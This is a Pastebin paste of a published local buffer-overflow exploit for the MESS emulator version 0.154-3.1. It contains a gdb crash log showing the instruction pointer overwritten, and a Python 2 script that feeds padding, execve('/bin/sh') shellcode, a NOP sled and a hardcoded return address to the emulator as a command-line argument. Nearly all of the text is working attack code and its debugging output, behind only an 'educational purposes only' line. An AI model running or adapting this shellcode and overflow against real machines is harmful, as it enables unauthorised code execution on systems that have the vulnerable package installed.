Advertisement
1337_Brain

Mess Emulator 0.154-3.1 - Local Buffer Overflow

Apr 8th, 2016
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.54 KB | None | 0 0
  1. # Exploit Author: Juan Sacco - http://www.exploitpack.com -
  2. jsacco@exploitpack.com
  3. # Program affected: Multi Emulator Super System (MESS)
  4. # Version: 0.154-3.1
  5. #
  6. # Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
  7. #
  8. # Program description: MESS is an emulator for various consoles and
  9. computing systems, sharing a
  10. # lot of codebase with the MAME project.
  11. # Kali Linux 2.0 package: pool/non-free/m/mame/mess_0.154-3.1_i386.deb
  12. # MD5sum: ae8650a6de842e6792ba83785ac0dbef
  13. # Website: http://mamedev.org/
  14. #
  15. # gdb$ run -gamma $(python -c 'print "\x41"*4080')
  16. # Starting program: /usr/games/mess -gamma $(python -c 'print "\x41"*4080')
  17. # [Thread debugging using libthread_db enabled]
  18. # Using host libthread_db library
  19. "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
  20. #
  21. # Program received signal SIGSEGV, Segmentation fault.
  22. #
  23. #
  24. --------------------------------------------------------------------------[regs]
  25. #
  26. # EAX: 0x00000000 EBX: 0x72203B22 ECX: 0x00001024 EDX: 0xBFFFE094 o d
  27. I t S z a p c
  28. # ESI: 0x00001024 EDI: 0xBFFFE095 EBP: 0x00001024 ESP: 0xBFFFD038 EIP:
  29. 0x41414141
  30. # CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
  31. #
  32. #
  33. --------------------------------------------------------------------------[code]
  34. #
  35. # => 0x9684539: mov esi,DWORD PTR [ebx+0x48]
  36. # 0x968453c: lea edi,[ebp+esi*1+0x0]
  37. # 0x9684540: push edi
  38. # 0x9684541: push ebx
  39. # 0x9684542: call 0x96843b0
  40. # 0x9684547: add esp,0x10
  41. # 0x968454a: test al,al
  42. # 0x968454c: je 0x96845ad
  43. #
  44. #
  45. --------------------------------------------------------------------------------
  46. #
  47. # 0x41414141 in ?? ()
  48. #
  49. # gdb$ backtrace
  50. #
  51. # #1 0x41414141 in ?? ()
  52.  
  53. import os,subprocess
  54.  
  55. def run():
  56. try:
  57. print "# Mess Emulator Buffer Overflow by Juan Sacco"
  58. print "# This exploit is for educational purposes only"
  59. # JUNK + SHELLCODE + NOPS + EIP
  60.  
  61. junk = "\x41"*4084
  62. shellcode =
  63. "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
  64. nops = "\x90"*12
  65. eip = "\xd1\xf3\xff\xbf"
  66. subprocess.call(["mess",' ', junk + shellcode + nops + eip])
  67.  
  68. except OSError as e:
  69. if e.errno == os.errno.ENOENT:
  70. print "Sorry, Mess emulator not found!"
  71. else:
  72. print "Error executing exploit"
  73. raise
  74.  
  75. def howtousage():
  76. print "Snap! Something went wrong"
  77. sys.exit(-1)
  78.  
  79. if __name__ == '__main__':
  80. try:
  81. print "Exploit Mess 0.154-3.1 Local Overflow Exploit"
  82. print "Author: Juan Sacco"
  83. except IndexError:
  84. howtousage()
  85. run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement